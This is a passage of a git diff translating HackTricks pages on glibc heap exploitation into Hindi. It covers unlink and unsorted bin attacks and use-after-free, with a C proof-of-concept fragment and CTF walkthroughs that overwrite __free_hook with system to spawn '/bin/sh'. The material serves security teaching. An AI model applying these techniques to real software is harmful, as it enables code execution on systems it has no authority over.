+printf("Chunk1[3]: %x\n", chunk1[3]); - chunk1[3] = (unsigned long long)data; +chunk1[3] = (unsigned long long)data; - strcpy(data, "Victim's data"); +strcpy(data, "Victim's data"); - // Overwrite victim's data using chunk1 - chunk1[0] = 0x002164656b636168LL; +// Overwrite victim's data using chunk1 +chunk1[0] = 0x002164656b636168LL; - printf("%s\n", data); +printf("%s\n", data); - return 0; +return 0; } ``` -
-- Attack doesn't work if tcaches are used (after 2.26) +- हमला तब काम नहीं करता जब tcaches का उपयोग किया जाता है (2.26 के बाद) -### Goal +### लक्ष्य -This attack allows to **change a pointer to a chunk to point 3 addresses before of itself**. If this new location (surroundings of where the pointer was located) has interesting stuff, like other controllable allocations / stack..., it's possible to read/overwrite them to cause a bigger harm. +यह हमला **एक चंक के लिए एक पॉइंटर को अपने से 3 पते पहले इंगित करने की अनुमति देता है**। यदि यह नया स्थान (जहां पॉइंटर स्थित था) में दिलचस्प चीजें हैं, जैसे अन्य नियंत्रित आवंटन / स्टैक..., तो उन्हें पढ़ना/ओवरराइट करना संभव है जिससे बड़ा नुकसान हो सकता है। -- If this pointer was located in the stack, because it's now pointing 3 address before itself and the user potentially can read it and modify it, it will be possible to leak sensitive info from the stack or even modify the return address (maybe) without touching the canary -- In order CTF examples, this pointer is located in an array of pointers to other allocations, therefore, making it point 3 address before and being able to read and write it, it's possible to make the other pointers point to other addresses.\ - As potentially the user can read/write also the other allocations, he can leak information or overwrite new address in arbitrary locations (like in the GOT). +- यदि यह पॉइंटर स्टैक में स्थित था, क्योंकि यह अब अपने से 3 पते पहले इंगित कर रहा है और उपयोगकर्ता इसे पढ़ और संशोधित कर सकता है, तो स्टैक से संवेदनशील जानकारी लीक करना या यहां तक कि रिटर्न पते को संशोधित करना (शायद) संभव होगा बिना कैनरी को छुए। +- CTF उदाहरणों के अनुसार, यह पॉइंटर अन्य आवंटनों के लिए पॉइंटर्स के एक एरे में स्थित है, इसलिए, इसे 3 पते पहले इंगित करने और इसे पढ़ने और लिखने में सक्षम होने पर, यह संभव है कि अन्य पॉइंटर्स को अन्य पते पर इंगित किया जाए।\ +चूंकि उपयोगकर्ता अन्य आवंटनों को भी पढ़/लिख सकता है, वह जानकारी लीक कर सकता है या मनमाने स्थानों (जैसे GOT में) में नए पते को ओवरराइट कर सकता है। -### Requirements +### आवश्यकताएँ -- Some control in a memory (e.g. stack) to create a couple of chunks giving values to some of the attributes. -- Stack leak in order to set the pointers of the fake chunk. +- कुछ नियंत्रण एक मेमोरी (जैसे स्टैक) में कुछ विशेषताओं को मान देने के लिए कुछ चंक्स बनाने के लिए। +- नकली चंक के पॉइंटर्स को सेट करने के लिए स्टैक लीक। -### Attack +### हमला -- There are a couple of chunks (chunk1 and chunk2) -- The attacker controls the content of chunk1 and the headers of chunk2. -- In chunk1 the attacker creates the structure of a fake chunk: - - To bypass protections he makes sure that the field `size` is correct to avoid the error: `corrupted size vs. prev_size while consolidating` - - and fields `fd` and `bk` of the fake chunk are pointing to where chunk1 pointer is stored in the with offsets of -3 and -2 respectively so `fake_chunk->fd->bk` and `fake_chunk->bk->fd` points to position in memory (stack) where the real chunk1 address is located: +- कुछ चंक्स हैं (chunk1 और chunk2) +- हमलावर chunk1 की सामग्री और chunk2 के हेडर को नियंत्रित करता है। +- chunk1 में हमलावर एक नकली चंक की संरचना बनाता है: +- सुरक्षा को बायपास करने के लिए वह सुनिश्चित करता है कि `size` फ़ील्ड सही है ताकि त्रुटि से बचा जा सके: `corrupted size vs. prev_size while consolidating` +- और नकली चंक के `fd` और `bk` फ़ील्ड उस स्थान पर इंगित कर रहे हैं जहां chunk1 पॉइंटर स्टोर किया गया है -3 और -2 के ऑफसेट के साथ, इसलिए `fake_chunk->fd->bk` और `fake_chunk->bk->fd` मेमोरी (स्टैक) में उस स्थान पर इंगित करते हैं जहां असली chunk1 पता स्थित है:

https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit

-- The headers of the chunk2 are modified to indicate that the previous chunk is not used and that the size is the size of the fake chunk contained. -- When the second chunk is freed then this fake chunk is unlinked happening: - - `fake_chunk->fd->bk` = `fake_chunk->bk` - - `fake_chunk->bk->fd` = `fake_chunk->fd` -- Previously it was made that `fake_chunk->fd->bk` and `fake_chunk->bk->fd` point to the same place (the location in the stack where `chunk1` was stored, so it was a valid linked list). As **both are pointing to the same location** only the last one (`fake_chunk->bk->fd = fake_chunk->fd`) will take **effect**. -- This will **overwrite the pointer to chunk1 in the stack to the address (or bytes) stored 3 addresses before in the stack**. - - Therefore, if an attacker could control the content of the chunk1 again, he will be able to **write inside the stack** being able to potentially overwrite the return address skipping the canary and modify the values and points of local variables. Even modifying again the address of chunk1 stored in the stack to a different location where if the attacker could control again the content of chunk1 he will be able to write anywhere. - - Note that this was possible because the **addresses are stored in the stack**. The risk and exploitation might depend on **where are the addresses to the fake chunk being stored**. +- chunk2 के हेडर को संशोधित किया जाता है ताकि यह संकेत दिया जा सके कि पिछला चंक उपयोग में नहीं है और कि आकार नकली चंक का आकार है। +- जब दूसरा चंक मुक्त किया जाता है, तो यह नकली चंक अनलिंक हो जाता है: +- `fake_chunk->fd->bk` = `fake_chunk->bk` +- `fake_chunk->bk->fd` = `fake_chunk->fd` +- पहले यह सुनिश्चित किया गया था कि `fake_chunk->fd->bk` और `fake_chunk->bk->fd` एक ही स्थान पर इंगित करते हैं (स्टैक में जहां `chunk1` स्टोर किया गया था, इसलिए यह एक मान्य लिंक्ड लिस्ट थी)। चूंकि **दोनों एक ही स्थान की ओर इशारा कर रहे हैं**, केवल अंतिम (`fake_chunk->bk->fd = fake_chunk->fd`) **प्रभाव** डालेगा। +- यह **स्टैक में chunk1 के लिए पॉइंटर को उस पते (या बाइट्स) को ओवरराइट करेगा जो स्टैक में 3 पते पहले स्टोर किया गया था**। +- इसलिए, यदि एक हमलावर फिर से chunk1 की सामग्री को नियंत्रित कर सकता है, तो वह **स्टैक के अंदर लिखने में सक्षम होगा** जिससे वह संभावित रूप से रिटर्न पते को ओवरराइट कर सकेगा, कैनरी को छोड़कर और स्थानीय चर के मान और बिंदुओं को संशोधित कर सकेगा। यहां तक कि स्टैक में chunk1 के पते को एक अलग स्थान पर संशोधित कर सकेगा जहां यदि हमलावर फिर से chunk1 की सामग्री को नियंत्रित कर सके, तो वह कहीं भी लिख सकेगा। +- ध्यान दें कि यह संभव था क्योंकि **पते स्टैक में स्टोर किए गए थे**। जोखिम और शोषण इस पर निर्भर कर सकता है कि **नकली चंक के पते कहां स्टोर किए जा रहे हैं**।

https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit

-## References +## संदर्भ - [https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit](https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit) -- Although it would be weird to find an unlink attack even in a CTF here you have some writeups where this attack was used: - - CTF example: [https://guyinatuxedo.github.io/30-unlink/hitcon14_stkof/index.html](https://guyinatuxedo.github.io/30-unlink/hitcon14_stkof/index.html) - - In this example, instead of the stack there is an array of malloc'ed addresses. The unlink attack is performed to be able to allocate a chunk here, therefore being able to control the pointers of the array of malloc'ed addresses. Then, there is another functionality that allows to modify the content of chunks in these addresses, which allows to point addresses to the GOT, modify function addresses to egt leaks and RCE. - - Another CTF example: [https://guyinatuxedo.github.io/30-unlink/zctf16_note2/index.html](https://guyinatuxedo.github.io/30-unlink/zctf16_note2/index.html) - - Just like in the previous example, there is an array of addresses of allocations. It's possible to perform an unlink attack to make the address to the first allocation point a few possitions before starting the array and the overwrite this allocation in the new position. Therefore, it's possible to overwrite pointers of other allocations to point to GOT of atoi, print it to get a libc leak, and then overwrite atoi GOT with the address to a one gadget. - - CTF example with custom malloc and free functions that abuse a vuln very similar to the unlink attack: [https://guyinatuxedo.github.io/33-custom_misc_heap/csaw17_minesweeper/index.html](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw17_minesweeper/index.html) - - There is an overflow that allows to control the FD and BK pointers of custom malloc that will be (custom) freed. Moreover, the heap has the exec bit, so it's possible to leak a heap address and point a function from the GOT to a heap chunk with a shellcode to execute. +- हालांकि CTF में एक अनलिंक हमला पाना अजीब होगा, यहां कुछ लेख हैं जहां इस हमले का उपयोग किया गया था: +- CTF उदाहरण: [https://guyinatuxedo.github.io/30-unlink/hitcon14_stkof/index.html](https://guyinatuxedo.github.io/30-unlink/hitcon14_stkof/index.html) +- इस उदाहरण में, स्टैक के बजाय malloc'ed पते का एक एरे है। अनलिंक हमला यहां एक चंक आवंटित करने के लिए किया जाता है, इसलिए malloc'ed पते के एरे के पॉइंटर्स को नियंत्रित करना संभव है। फिर, एक और कार्यक्षमता है जो इन पते में चंक्स की सामग्री को संशोधित करने की अनुमति देती है, जो GOT के पते को इंगित करने, कार्यों के पते को संशोधित करने, लीक प्राप्त करने और RCE की अनुमति देती है। +- एक और CTF उदाहरण: [https://guyinatuxedo.github.io/30-unlink/zctf16_note2/index.html](https://guyinatuxedo.github.io/30-unlink/zctf16_note2/index.html) +- पिछले उदाहरण की तरह, आवंटनों के पते का एक एरे है। एक अनलिंक हमला किया जा सकता है ताकि पहले आवंटन के पते को एरे शुरू होने से कुछ स्थान पहले इंगित किया जा सके और इस आवंटन को नए स्थान में ओवरराइट किया जा सके। इसलिए, यह अन्य आवंटनों के पॉइंटर्स को GOT के atoi की ओर इंगित करने के लिए ओवरराइट करना संभव है, इसे प्रिंट करना ताकि libc लीक हो सके, और फिर atoi GOT को एक गेजेट के पते के साथ ओवरराइट करना। +- कस्टम malloc और free कार्यों के साथ CTF उदाहरण जो एक vuln का शोषण करते हैं जो अनलिंक हमले के बहुत समान है: [https://guyinatuxedo.github.io/33-custom_misc_heap/csaw17_minesweeper/index.html](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw17_minesweeper/index.html) +- एक ओवरफ्लो है जो कस्टम malloc के FD और BK पॉइंटर्स को नियंत्रित करने की अनुमति देता है जो (कस्टम) मुक्त किए जाएंगे। इसके अलावा, हीप में exec बिट है, इसलिए एक हीप पते को लीक करना और GOT से एक कार्य को एक हीप चंक की ओर इंगित करना संभव है जिसमें निष्पादन के लिए एक शेलकोड है। {{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/libc-heap/unsorted-bin-attack.md b/src/binary-exploitation/libc-heap/unsorted-bin-attack.md index 65d509c48..8f260f729 100644 --- a/src/binary-exploitation/libc-heap/unsorted-bin-attack.md +++ b/src/binary-exploitation/libc-heap/unsorted-bin-attack.md @@ -10,64 +10,64 @@ For more information about what is an unsorted bin check this page: bins-and-memory-allocations.md {{#endref}} -Unsorted lists are able to write the address to `unsorted_chunks (av)` in the `bk` address of the chunk. Therefore, if an attacker can **modify the address of the `bk` pointer** in a chunk inside the unsorted bin, he could be able to **write that address in an arbitrary address** which could be helpful to leak a Glibc addresses or bypass some defense. +Unsorted सूचियाँ `unsorted_chunks (av)` के पते को चंक के `bk` पते में लिखने में सक्षम होती हैं। इसलिए, यदि एक हमलावर **चंक के `bk` पॉइंटर के पते को संशोधित कर सकता है** जो अनसॉर्टेड बिन के अंदर है, तो वह **उस पते को एक मनमाने पते पर लिखने में सक्षम हो सकता है** जो Glibc पते को लीक करने या कुछ रक्षा को बायपास करने में सहायक हो सकता है। -So, basically, this attack allows to **set a big number at an arbitrary address**. This big number is an address, which could be a heap address or a Glibc address. A typical target is **`global_max_fast`** to allow to create fast bin bins with bigger sizes (and pass from an unsorted bin atack to a fast bin attack). +तो, मूल रूप से, यह हमला **एक मनमाने पते पर एक बड़ा नंबर सेट करने की अनुमति देता है**। यह बड़ा नंबर एक पता है, जो एक हीप पता या एक Glibc पता हो सकता है। एक सामान्य लक्ष्य **`global_max_fast`** है ताकि बड़े आकार के फास्ट बिन बिन बनाए जा सकें (और अनसॉर्टेड बिन हमले से फास्ट बिन हमले में जाया जा सके)। > [!TIP] -> T> aking a look to the example provided in [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#principle](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#principle) and using 0x4000 and 0x5000 instead of 0x400 and 0x500 as chunk sizes (to avoid Tcache) it's possible to see that **nowadays** the error **`malloc(): unsorted double linked list corrupted`** is triggered. +> उदाहरण पर नज़र डालने के लिए [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#principle](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#principle) पर जाएं और 0x4000 और 0x5000 का उपयोग करें 0x400 और 0x500 के बजाय चंक आकार के रूप में (Tcache से बचने के लिए) यह देखना संभव है कि **आजकल** त्रुटि **`malloc(): unsorted double linked list corrupted`** सक्रिय होती है। > -> Therefore, this unsorted bin attack now (among other checks) also requires to be able to fix the doubled linked list so this is bypassed `victim->bk->fd == victim` or not `victim->fd == av (arena)`, which means that the address where we want to write must have the address of the fake chunk in its `fd` position and that the fake chunk `fd` is pointing to the arena. +> इसलिए, यह अनसॉर्टेड बिन हमला अब (अन्य जांचों के बीच) यह भी आवश्यक है कि डबल लिंक्ड लिस्ट को ठीक किया जा सके ताकि यह बायपास किया जा सके `victim->bk->fd == victim` या नहीं `victim->fd == av (arena)` का मतलब है कि जिस पते पर हम लिखना चाहते हैं, उसमें नकली चंक के `fd` स्थिति में पता होना चाहिए और नकली चंक `fd` एरेना की ओर इशारा कर रहा है। > [!CAUTION] -> Note that this attack corrupts the unsorted bin (hence small and large too). So we can only **use allocations from the fast bin now** (a more complex program might do other allocations and crash), and to trigger this we must **allocate the same size or the program will crash.** +> ध्यान दें कि यह हमला अनसॉर्टेड बिन को भ्रष्ट करता है (इसलिए छोटे और बड़े भी)। इसलिए हम केवल **अब फास्ट बिन से आवंटन का उपयोग कर सकते हैं** (एक अधिक जटिल प्रोग्राम अन्य आवंटन कर सकता है और क्रैश हो सकता है), और इसे सक्रिय करने के लिए हमें **समान आकार आवंटित करना चाहिए या प्रोग्राम क्रैश हो जाएगा।** > -> Note that overwriting **`global_max_fast`** might help in this case trusting that the fast bin will be able to take care of all the other allocations until the exploit is completed. +> ध्यान दें कि **`global_max_fast`** को ओवरराइट करना इस मामले में मदद कर सकता है यह मानते हुए कि फास्ट बिन सभी अन्य आवंटनों का ध्यान रख सकेगा जब तक कि शोषण पूरा नहीं हो जाता। -The code from [**guyinatuxedo**](https://guyinatuxedo.github.io/31-unsortedbin_attack/unsorted_explanation/index.html) explains it very well, although if you modify the mallocs to allocate memory big enough so don't end in a Tcache you can see that the previously mentioned error appears preventing this technique: **`malloc(): unsorted double linked list corrupted`** +[**guyinatuxedo**](https://guyinatuxedo.github.io/31-unsortedbin_attack/unsorted_explanation/index.html) से कोड इसे बहुत अच्छी तरह से समझाता है, हालांकि यदि आप mallocs को इस तरह से संशोधित करते हैं कि पर्याप्त बड़ा मेमोरी आवंटित करें ताकि Tcache में समाप्त न हो, तो आप देख सकते हैं कि पहले से उल्लेखित त्रुटि प्रकट होती है जो इस तकनीक को रोकती है: **`malloc(): unsorted double linked list corrupted`** ## Unsorted Bin Infoleak Attack -This is actually a very basic concept. The chunks in the unsorted bin are going to have pointers. The first chunk in the unsorted bin will actually have the **`fd`** and the **`bk`** links **pointing to a part of the main arena (Glibc)**.\ -Therefore, if you can **put a chunk inside a unsorted bin and read it** (use after free) or **allocate it again without overwriting at least 1 of the pointers** to then **read** it, you can have a **Glibc info leak**. +यह वास्तव में एक बहुत बुनियादी अवधारणा है। अनसॉर्टेड बिन में चंक के पास पॉइंटर्स होंगे। अनसॉर्टेड बिन में पहला चंक वास्तव में **`fd`** और **`bk`** लिंक को **मुख्य एरेना (Glibc)** के एक भाग की ओर इशारा करेगा।\ +इसलिए, यदि आप **एक चंक को अनसॉर्टेड बिन में डाल सकते हैं और इसे पढ़ सकते हैं** (फ्री के बाद उपयोग) या **कम से कम 1 पॉइंटर को ओवरराइट किए बिना इसे फिर से आवंटित कर सकते हैं** ताकि फिर **इसे पढ़ सकें**, तो आप एक **Glibc जानकारी लीक** प्राप्त कर सकते हैं। -A similar [**attack used in this writeup**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw18_alienVSsamurai/index.html), was to abuse a 4 chunks structure (A, B, C and D - D is only to prevent consolidation with top chunk) so a null byte overflow in B was used to make C indicate that B was unused. Also, in B the `prev_size` data was modified so the size instead of being the size of B was A+B.\ -Then C was deallocated, and consolidated with A+B (but B was still in used). A new chunk of size A was allocated and then the libc leaked addresses was written into B from where they were leaked. +एक समान [**हमला जो इस लेख में उपयोग किया गया**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw18_alienVSsamurai/index.html), 4 चंक संरचना (A, B, C और D - D केवल शीर्ष चंक के साथ समेकन को रोकने के लिए है) का दुरुपयोग करने के लिए था, इसलिए B में एक शून्य बाइट ओवरफ्लो का उपयोग किया गया था ताकि C यह संकेत दे सके कि B अप्रयुक्त था। इसके अलावा, B में `prev_size` डेटा को संशोधित किया गया ताकि आकार B का आकार न होकर A+B हो।\ +फिर C को डिएक्लेट किया गया, और A+B के साथ समेकित किया गया (लेकिन B अभी भी उपयोग में था)। आकार A का एक नया चंक आवंटित किया गया और फिर लीक किए गए libc पते B में लिखे गए जहां से उन्हें लीक किया गया। ## References & Other examples - [**https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#hitcon-training-lab14-magic-heap**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#hitcon-training-lab14-magic-heap) - - The goal is to overwrite a global variable with a value greater than 4869 so it's possible to get the flag and PIE is not enabled. - - It's possible to generate chunks of arbitrary sizes and there is a heap overflow with the desired size. - - The attack starts creating 3 chunks: chunk0 to abuse the overflow, chunk1 to be overflowed and chunk2 so top chunk doesn't consolidate the previous ones. - - Then, chunk1 is freed and chunk0 is overflowed to the `bk` pointer of chunk1 points to: `bk = magic - 0x10` - - Then, chunk3 is allocated with the same size as chunk1, which will trigger the unsorted bin attack and will modify the value of the global variable, making possible to get the flag. +- लक्ष्य एक वैश्विक चर को 4869 से अधिक के मान के साथ ओवरराइट करना है ताकि यह संभव हो सके कि ध्वज प्राप्त किया जा सके और PIE सक्षम नहीं है। +- यह मनमाने आकार के चंक उत्पन्न करना संभव है और वांछित आकार के साथ एक हीप ओवरफ्लो है। +- हमला 3 चंक बनाने से शुरू होता है: चंक0 ओवरफ्लो का दुरुपयोग करने के लिए, चंक1 ओवरफ्लो होने के लिए और चंक2 ताकि शीर्ष चंक पिछले लोगों के साथ समेकित न हो। +- फिर, चंक1 को मुक्त किया जाता है और चंक0 को ओवरफ्लो किया जाता है ताकि चंक1 के `bk` पॉइंटर को इंगित किया जा सके: `bk = magic - 0x10` +- फिर, चंक3 को चंक1 के समान आकार के साथ आवंटित किया जाता है, जो अनसॉर्टेड बिन हमले को सक्रिय करेगा और वैश्विक चर के मान को संशोधित करेगा, जिससे ध्वज प्राप्त करना संभव होगा। - [**https://guyinatuxedo.github.io/31-unsortedbin_attack/0ctf16_zerostorage/index.html**](https://guyinatuxedo.github.io/31-unsortedbin_attack/0ctf16_zerostorage/index.html) - - The merge function is vulnerable because if both indexes passed are the same one it'll realloc on it and then free it but returning a pointer to that freed region that can be used. - - Therefore, **2 chunks are created**: **chunk0** which will be merged with itself and chunk1 to prevent consolidating with the top chunk. Then, the **merge function is called with chunk0** twice which will cause a use after free. - - Then, the **`view`** function is called with index 2 (which the index of the use after free chunk), which will **leak a libc address**. - - As the binary has protections to only malloc sizes bigger than **`global_max_fast`** so no fastbin is used, an unsorted bin attack is going to be used to overwrite the global variable `global_max_fast`. - - Then, it's possible to call the edit function with the index 2 (the use after free pointer) and overwrite the `bk` pointer to point to `p64(global_max_fast-0x10)`. Then, creating a new chunk will use the previously compromised free address (0x20) will **trigger the unsorted bin attack** overwriting the `global_max_fast` which a very big value, allowing now to create chunks in fast bins. - - Now a **fast bin attack** is performed: - - First of all it's discovered that it's possible to work with fast **chunks of size 200** in the **`__free_hook`** location: - -
gef➤  p &__free_hook
-      $1 = (void (**)(void *, const void *)) 0x7ff1e9e607a8 <__free_hook>
-      gef➤  x/60gx 0x7ff1e9e607a8 - 0x59
-      0x7ff1e9e6074f: 0x0000000000000000      0x0000000000000200
-      0x7ff1e9e6075f: 0x0000000000000000      0x0000000000000000
-      0x7ff1e9e6076f <list_all_lock+15>:      0x0000000000000000      0x0000000000000000
-      0x7ff1e9e6077f <_IO_stdfile_2_lock+15>: 0x0000000000000000      0x0000000000000000
-      
- - If we manage to get a fast chunk of size 0x200 in this location, it'll be possible to overwrite a function pointer that will be executed - - For this, a new chunk of size `0xfc` is created and the merged function is called with that pointer twice, this way we obtain a pointer to a freed chunk of size `0xfc*2 = 0x1f8` in the fast bin. - - Then, the edit function is called in this chunk to modify the **`fd`** address of this fast bin to point to the previous **`__free_hook`** function. - - Then, a chunk with size `0x1f8` is created to retrieve from the fast bin the previous useless chunk so another chunk of size `0x1f8` is created to get a fast bin chunk in the **`__free_hook`** which is overwritten with the address of **`system`** function. - - And finally a chunk containing the string `/bin/sh\x00` is freed calling the delete function, triggering the **`__free_hook`** function which points to system with `/bin/sh\x00` as parameter. - - **CTF** [**https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html) - - Another example of abusing a 1B overflow to consolidate chunks in the unsorted bin and get a libc infoleak and then perform a fast bin attack to overwrite malloc hook with a one gadget address +- मर्ज फ़ंक्शन कमजोर है क्योंकि यदि दोनों पास किए गए अनुक्रमांक समान हैं तो यह उस पर पुनः आवंटित करेगा और फिर इसे मुक्त करेगा लेकिन उस मुक्त क्षेत्र के लिए एक पॉइंटर लौटाएगा जिसका उपयोग किया जा सकता है। +- इसलिए, **2 चंक बनाए जाते हैं**: **चंक0** जो अपने साथ मर्ज किया जाएगा और चंक1 ताकि शीर्ष चंक के साथ समेकन को रोक सके। फिर, **चंक0 के साथ मर्ज फ़ंक्शन** को दो बार कॉल किया जाता है जो फ्री के बाद उपयोग का कारण बनेगा। +- फिर, **`view`** फ़ंक्शन को अनुक्रमांक 2 (जो फ्री के बाद उपयोग चंक का अनुक्रमांक है) के साथ कॉल किया जाता है, जो **एक libc पता लीक करेगा**। +- चूंकि बाइनरी में केवल **`global_max_fast`** से बड़े आकार के malloc की सुरक्षा है, इसलिए कोई फास्टबिन का उपयोग नहीं किया जाता है, एक अनसॉर्टेड बिन हमला वैश्विक चर `global_max_fast` को ओवरराइट करने के लिए उपयोग किया जाएगा। +- फिर, यह संभव है कि अनुक्रमांक 2 (फ्री के बाद उपयोग पॉइंटर) के साथ संपादित फ़ंक्शन को कॉल किया जाए और `bk` पॉइंटर को `p64(global_max_fast-0x10)` की ओर इशारा करने के लिए ओवरराइट किया जाए। फिर, एक नया चंक बनाने से पहले से समझौता किए गए मुक्त पते (0x20) का उपयोग किया जाएगा जो **अनसॉर्टेड बिन हमले को सक्रिय करेगा** `global_max_fast` को ओवरराइट करते हुए जो एक बहुत बड़ा मान है, जिससे अब फास्ट बिन में चंक बनाना संभव हो गया है। +- अब एक **फास्ट बिन हमला** किया जाता है: +- सबसे पहले यह पता चलता है कि **`__free_hook`** स्थान में फास्ट **चंक के आकार 200** के साथ काम करना संभव है: +-
gef➤  p &__free_hook
+$1 = (void (**)(void *, const void *)) 0x7ff1e9e607a8 <__free_hook>
+gef➤  x/60gx 0x7ff1e9e607a8 - 0x59
+0x7ff1e9e6074f: 0x0000000000000000      0x0000000000000200
+0x7ff1e9e6075f: 0x0000000000000000      0x0000000000000000
+0x7ff1e9e6076f <list_all_lock+15>:      0x0000000000000000      0x0000000000000000
+0x7ff1e9e6077f <_IO_stdfile_2_lock+15>: 0x0000000000000000      0x0000000000000000
+
+- यदि हम इस स्थान पर आकार 0x200 का एक फास्ट चंक प्राप्त करने में सफल होते हैं, तो एक फ़ंक्शन पॉइंटर को ओवरराइट करना संभव होगा जिसे निष्पादित किया जाएगा। +- इसके लिए, आकार `0xfc` का एक नया चंक बनाया जाता है और मर्ज फ़ंक्शन को उस पॉइंटर के साथ दो बार कॉल किया जाता है, इस तरह हम फास्ट बिन में आकार `0xfc*2 = 0x1f8` के एक मुक्त चंक के लिए एक पॉइंटर प्राप्त करते हैं। +- फिर, इस चंक में संपादित फ़ंक्शन को कॉल किया जाता है ताकि इस फास्ट बिन के **`fd`** पते को पिछले **`__free_hook`** फ़ंक्शन की ओर इशारा करने के लिए संशोधित किया जा सके। +- फिर, आकार `0x1f8` का एक चंक बनाया जाता है ताकि फास्ट बिन से पिछले बेकार चंक को पुनः प्राप्त किया जा सके ताकि आकार `0x1f8` का एक और चंक बनाया जा सके ताकि **`__free_hook`** में एक फास्ट बिन चंक प्राप्त किया जा सके जिसे **`system`** फ़ंक्शन के पते के साथ ओवरराइट किया गया है। +- और अंत में, एक चंक जिसमें स्ट्रिंग `/bin/sh\x00` है, को डिलीट फ़ंक्शन को कॉल करके मुक्त किया जाता है, जो **`__free_hook`** फ़ंक्शन को सक्रिय करता है जो सिस्टम को `/bin/sh\x00` को पैरामीटर के रूप में इंगित करता है। +- **CTF** [**https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html) +- अनसॉर्टेड बिन में चंक्स को समेकित करने और libc जानकारी लीक प्राप्त करने के लिए 1B ओवरफ्लो का दुरुपयोग करने का एक और उदाहरण और फिर malloc हुक को एक गड़बड़ पते के साथ ओवरराइट करने के लिए फास्ट बिन हमले को करना। - [**Robot Factory. BlackHat MEA CTF 2022**](https://7rocky.github.io/en/ctf/other/blackhat-ctf/robot-factory/) - - We can only allocate chunks of size greater than `0x100`. - - Overwrite `global_max_fast` using an Unsorted Bin attack (works 1/16 times due to ASLR, because we need to modify 12 bits, but we must modify 16 bits). - - Fast Bin attack to modify the a global array of chunks. This gives an arbitrary read/write primitive, which allows to modify the GOT and set some function to point to `system`. +- हम केवल `0x100` से बड़े आकार के चंक्स आवंटित कर सकते हैं। +- अनसॉर्टेड बिन हमले का उपयोग करके `global_max_fast` को ओवरराइट करें (ASLR के कारण 1/16 बार काम करता है, क्योंकि हमें 12 बिट्स को संशोधित करना है, लेकिन हमें 16 बिट्स को संशोधित करना होगा)। +- एक वैश्विक चंक्स के एरे को संशोधित करने के लिए फास्ट बिन हमला। यह एक मनमाना पढ़ने/लिखने की प्राइमिटिव देता है, जो GOT को संशोधित करने और कुछ फ़ंक्शन को `system` की ओर इशारा करने की अनुमति देता है। {{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/libc-heap/use-after-free/README.md b/src/binary-exploitation/libc-heap/use-after-free/README.md index d6fd34f42..984114900 100644 --- a/src/binary-exploitation/libc-heap/use-after-free/README.md +++ b/src/binary-exploitation/libc-heap/use-after-free/README.md @@ -4,14 +4,14 @@ ## Basic Information -As the name implies, this vulnerability occurs when a program **stores some space** in the heap for an object, **writes** some info there, **frees** it apparently because it's not needed anymore and then **accesses it again**. +जैसा कि नाम से स्पष्ट है, यह कमजोरियां तब होती हैं जब एक प्रोग्राम **हीप में एक ऑब्जेक्ट के लिए कुछ स्थान** स्टोर करता है, **वहां कुछ जानकारी लिखता है**, **इसे मुक्त करता है** स्पष्ट रूप से क्योंकि इसकी अब आवश्यकता नहीं है और फिर **इसे फिर से एक्सेस करता है**। -The problem here is that it's not ilegal (there **won't be errors**) when a **freed memory is accessed**. So, if the program (or the attacker) managed to **allocate the freed memory and store arbitrary data**, when the freed memory is accessed from the initial pointer that **data would be have been overwritten** causing a **vulnerability that will depends on the sensitivity of the data** that was stored original (if it was a pointer of a function that was going to be be called, an attacker could know control it). +यहां समस्या यह है कि जब **मुक्त मेमोरी को एक्सेस किया जाता है** तो यह अवैध नहीं है (यहां **कोई त्रुटियां नहीं होंगी**)। इसलिए, यदि प्रोग्राम (या हमलावर) ने **मुक्त मेमोरी को आवंटित किया और मनमाना डेटा स्टोर किया**, जब मुक्त मेमोरी को प्रारंभिक पॉइंटर से एक्सेस किया जाता है तो **डेटा को ओवरराइट किया जा सकता है** जिससे एक **कमजोरी उत्पन्न होती है जो उस डेटा की संवेदनशीलता पर निर्भर करती है** जो मूल रूप से स्टोर किया गया था (यदि यह एक फ़ंक्शन का पॉइंटर था जिसे कॉल किया जाने वाला था, तो एक हमलावर इसे नियंत्रित कर सकता है)। ### First Fit attack -A first fit attack targets the way some memory allocators, like in glibc, manage freed memory. When you free a block of memory, it gets added to a list, and new memory requests pull from that list from the end. Attackers can use this behavior to manipulate **which memory blocks get reused, potentially gaining control over them**. This can lead to "use-after-free" issues, where an attacker could **change the contents of memory that gets reallocated**, creating a security risk.\ -Check more info in: +एक फर्स्ट फिट हमला उन तरीकों को लक्षित करता है जिनसे कुछ मेमोरी आवंटक, जैसे कि glibc में, मुक्त मेमोरी का प्रबंधन करते हैं। जब आप मेमोरी के एक ब्लॉक को मुक्त करते हैं, तो इसे एक सूची में जोड़ा जाता है, और नए मेमोरी अनुरोध उस सूची से अंत से खींचते हैं। हमलावर इस व्यवहार का उपयोग **किस मेमोरी ब्लॉकों का पुन: उपयोग किया जाता है, इसे नियंत्रित करने के लिए कर सकते हैं**। इससे "use-after-free" समस्याएं उत्पन्न हो सकती हैं, जहां एक हमलावर **पुनः आवंटित की गई मेमोरी की सामग्री को बदल सकता है**, जिससे सुरक्षा का जोखिम उत्पन्न होता है।\ +अधिक जानकारी के लिए देखें: {{#ref}} first-fit.md diff --git a/src/binary-exploitation/libc-heap/use-after-free/first-fit.md b/src/binary-exploitation/libc-heap/use-after-free/first-fit.md index 7bab07aea..b0010db35 100644 --- 